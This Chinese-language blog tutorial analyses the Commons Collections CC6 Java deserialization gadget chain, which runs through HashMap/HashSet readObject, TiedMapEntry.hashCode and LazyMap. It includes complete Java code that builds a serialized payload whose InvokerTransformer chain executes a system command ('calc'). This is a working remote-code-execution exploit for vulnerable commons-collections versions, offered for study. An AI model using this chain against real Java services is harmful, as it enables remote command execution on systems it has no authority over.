当前位置： 首页 > article >正文

JAVA反序列化深入学习（八）：CommonsCollections6

article 2025/4/1 14:03:05

与CC5相似：

  • 在 CC5 中使用了 TiedMapEntry#toString 来触发 LazyMap#get
  • 在 CC6 中是通过 TiedMapEntry#hashCode 来触发 LazyMap#get

之前看到了 hashcode 方法也会调用 getValue() 方法然后调用到其中 map 的 get 方法触发 LazyMap，那重点就在于如何在反序列化时触发 TiedMapEntry 的 hashCode 方法了

JAVA环境

java version "1.8.0_74"

Java(TM) SE Runtime Environment (build 1.8.0_74-b02)

Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode)

依赖版本

  • Apache Commons Collections 依赖版本：commons-collections : 3.1 - 3.2.1

检查依赖配置

确认项目中是否正确引入了 Apache Commons Collections 的依赖。如果使用的是 Maven，可以在 pom.xml 文件中添加以下依赖：

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

资源下载

  • maven
  • Java8下载
  • commons-collections源码

前置知识

HashMap - kick-off

之前在 URLDNS 中，我们发现，在反序列化一个 HashMap 对象时，会调用 key 对象的 hashCode 方法计算 hash 值，那在此处当然也可以用来触发 TiedMapEntry 的 hashCode 方法

不太记得了可以回顾：JAVA反序列化深入学习（二）：URLDNS-CSDN博客

但会遇到 URLDNS 中同样面临的问题：

调用链会在 HashMap 的 put 方法调用时提前触发，需要想办法绕过触发，可以采用以下几种方式:

  • 类似URLDNS方法二，利用反射调用 putVal 方法写入 key 避免触发
  • 在向 HashMap push LazyMap 时先给个空的 ChainedTransformer
    • 这样添加的时候不会执行任何恶意动作
    • put 之后再反射将有恶意链的 Transformer 数组写到 ChainedTransformer 中

这样就完成了一个 HashMap 的触发方式

HashMap 的 put 方法可以触发 key 的 hashCode ，那还有没有入口类能触发这个方法了？

于是找到了 CC6 的 HashSet 触发方式

HashSet - kick-off

  • HashSet 是一个无序的，不允许有重复元素的集合
  • HashSet 本质上就是由 HashMap 实现的
// 构造一个新的空集合
// 具有默认初始容量（16）和负载因子（0.75）
public HashSet() {
    map = new HashMap<>();
}
// 构造一个包含指定集合中的元素的新集合
public HashSet(Collection<? extends E> c) {
    map = new HashMap<>(Math.max((int) (c.size()/.75f) + 1, 16));
    addAll(c);
}
  • HashSet 中的元素都存放在 HashMap 的 key 上面
    • 而 value 中的值都是统一的
// Dummy value to associate with an Object in the backing Map
private static final Object PRESENT = new Object();
  • HashSet 跟 HashMap 一样，都是一个存放链表的数组
readObject

在 HashSet 的 readObject 方法中，会调用其内部 HashMap 的 put 方法，将值放在 key 上

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    ...
    
    // Create backing HashMap
    map = (((HashSet<?>)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        @SuppressWarnings("unchecked")
            E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

攻击构造

基于HashMap

首先是结合 LazyMap 和 HashMap 的方式，这里使用了之前在URLDNS方法二中的反射代码，以及同时写了包含 Fake Chain 绕过触发的方式

恶意代码主体
    public void CC6WithHashMap() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {

        // 初始化 HashMap
        HashMap<Object, Object> hashMap = new HashMap<>();

        Transformer[] transformers = GenTransformerArray();
        
        // 创建一个空的 ChainedTransformer
        ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

        // 创建 LazyMap 并引入 TiedMapEntry
        Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
        TiedMapEntry entry   = new TiedMapEntry(lazyMap, "neolock");

        hashMap.put(entry, "neolock");

        //用反射再改回真的chain
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(fakeChain, transformers);
        //清空由于 hashMap.put 对 LazyMap 造成的影响
        lazyMap.clear();

        // 反射调用 HashMap 的 putVal 方法
        //        Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
        //        for (Method method : m) {
        //            if ("putVal".equals(method.getName())) {
        //                method.setAccessible(true);
        //                method.invoke(hashMap, -1, entry, 0, false, true);
        //            }
        //        }

        writeObjectToFile(hashMap, fileName);
        readFileObject(fileName);
    }
Transformer数组生成
protected Transformer[] GenTransformerArray()  throws IOException, NoSuchFieldException, IllegalAccessException {
    
    // 创建 ChainedTransformer
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    
    return transformers;
}

比较简单，就是一个缝合

基于HashSet

接下来看一下HashSet 的触发方式

恶意代码主体
public void CC6WithHashSet() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {

    // 初始化 HashMap
    HashMap<Object, Object> hashMap = new HashMap<>();

    Transformer[] transformers = GenTransformerArray();
    
    // 创建一个空的 ChainedTransformer
    ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

    // 创建 LazyMap 并引入 TiedMapEntry
    Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
    TiedMapEntry entry   = new TiedMapEntry(lazyMap, "neolock");

    hashMap.put(entry, "neolock");

    // 唯一相对于上一个方法多出来的步骤，套了一层HashSet
    HashSet set = new HashSet(hashMap.keySet());

    //用反射再改回真的chain
    Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
    f.setAccessible(true);
    f.set(fakeChain, transformers);
    //清空由于 hashMap.put 对 LazyMap 造成的影响
    lazyMap.clear();

    writeObjectToFile(set, fileName);
    readFileObject(fileName);
}

Transformer数组生成与之前相同，可以看到我们只是简单的在 HashMap 之外嵌套了一层 HashSet

ysoserial

在 ysoserial 中的 CC6 payload 中，作者 matthias_kaiser 使用的方式是：

  • 多次使用反射向 HashMap 及 HashSet 中写入值
  • 兼容了 JDK 7 和 8 中成员变量名发生变化的情况
  • 并且是通过向底层 map 中的 节点添加的方式

这种方式或许有点过于冗杂了，不如使用空 Transformer 链反射的方式，大大方方的向 HashMap 或 HashSet 中 push 数据

总结

以上就是 CC6 链分析的全部内容了，最后总结一下

利用说明

  1. 反序列化 调用 TiedMapEntry 的 toString 方法
  2. 调用了 LazyMap 的 hashCode 方法
  3. 触发了后续的 Transformer 恶意执行链
Gadget 总结
  • kick-off gadget：java.util.HashSet#readObject/java.util.HashMap#readObject
  • sink gadget：org.apache.commons.collections.functors.InvokerTransformer#transform
  • chain gadget：org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
调用链展示
HashSet.readObject()/HashMap.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                LazyMap.get()
                    ChainedTransformer.transform()
                        InvokerTransformer.transform()
  • Java 反序列化漏洞（二） - Commons Collections | 素十八
  • Java反序列化漏洞（八）- CommonsCollections6链

http://www.kler.cn/a/614366.html

相关文章：

  • 嵌入式系统安全架构白皮书
  • 虚拟电商-话费充值业务（二）话费充值对接供应商模块开发
  • 如何在ms-swift 微调训练deepseekvl2时使用sageattention
  • Solidity 番外篇 | 最新 EIP 动态、Solidity 版本变化、Web3 职业路径全览
  • 火语言RPA--生成随机/格式化字符串或数字
  • ros2--功能包
  • QT图片轮播器实现方法二(QT实操2)
  • Linux-Centos离线环境安装python3
  • DHCP报文的详细流程
  • linux驱动相关资料，网址链接
  • Effective C++ 剖析（条款10~22）
  • 关于VUE中v-model响应式失效的问题
  • 【杂谈】-人工智能驱动的编码：提升效率还是增加网络安全隐患？
  • Oracle数据库数据编程SQL＜3.1 PL/SQL 匿名块 及 流程控制中的条件判断、循环、异常处理和随机函数应用＞
  • 知能行每日综测
  • C# .net ai Agent AI视觉应用 写代码 改作业 识别屏幕 标注等
  • 全球化2.0 | ZStack举办香港Partner Day，推动AIOS智塔+DeepSeek海外实践
  • 【云原生】docker 搭建单机PostgreSQL操作详解
  • 【Prometheus】Prometheus的特点、数据采集方式、架构、数据模型详解
  • 【Linux指南】Linux内核：操作系统的核心引擎